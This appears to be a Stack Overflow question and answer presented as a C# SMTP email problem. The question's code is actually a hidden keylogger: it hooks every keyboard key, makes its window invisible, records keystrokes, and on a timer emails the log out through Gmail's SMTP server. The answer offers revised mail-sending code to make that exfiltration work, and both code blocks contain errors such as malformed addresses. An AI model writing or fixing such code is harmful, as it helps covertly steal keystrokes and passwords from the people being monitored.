user3500987
user3500987

Reputation: 13

smtp email through C#

I cannot send an email to myself through smtp and trough Gmail and Hotmail. Do you have any ideas how it can be solved or where the error is?

  public partial class Form1 : Form
{
    public Form1()
    {
        InitializeComponent();
    }

    string log;
    string klokkeslæt;
    globalKeyboardHook gkh = new globalKeyboardHook();

    private void HookAll() //funktionen Hookall oprettes
    {
        foreach (object key in Enum.GetValues(typeof(Keys)))
        {
            gkh.HookedKeys.Add((Keys)key);
        }
    }

    private void Form1_Load(object sender, EventArgs e)
    {
        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
        HookAll();
        this.Opacity = 0;
    } 

    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        log = log + " " + e.KeyCode;
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "[email protected]");
        SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
        mail.From = new MailAddress("[email protected]");
        mail.To.Add("[email protected]");
        klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
        mail.Subject = klokkeslæt;
        mail.Body = log;
       // SmtpServer.Port = 587;
        SmtpServer.Credentials = new System.Net.NetworkCredential("[email protected]", "*********");
        SmtpServer.EnableSsl = true;
        SmtpServer.Send(mail);
        mail.Priority = MailPriority.Normal;
        SmtpServer.useDefaultCredentials = true; 
    }

}

Upvotes: 1

Views: 179

Answers (1)

Dhaval Javiya
Dhaval Javiya

Reputation: 154

Try with below code it working fine.

        MailMessage message = new MailMessage();//Not set from and to address here.
        SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
        string msg = string.Empty;
        try
        {
            MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
            message.From = fromAddress;
            message.To.Add("[email protected]");
            message.Subject = "Test";
            message.IsBodyHtml = true;
            message.Body = "Test";
            smtpClient.Host = "smtp.gmail.com";   // We use gmail as our smtp client
            smtpClient.Port = 587;
            smtpClient.EnableSsl = true;
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");

            smtpClient.Send(message);
            msg = "Successful<BR>";
        }
        catch (Exception ex)
        {
            msg = ex.Message;
        }

Upvotes: 3

Related Questions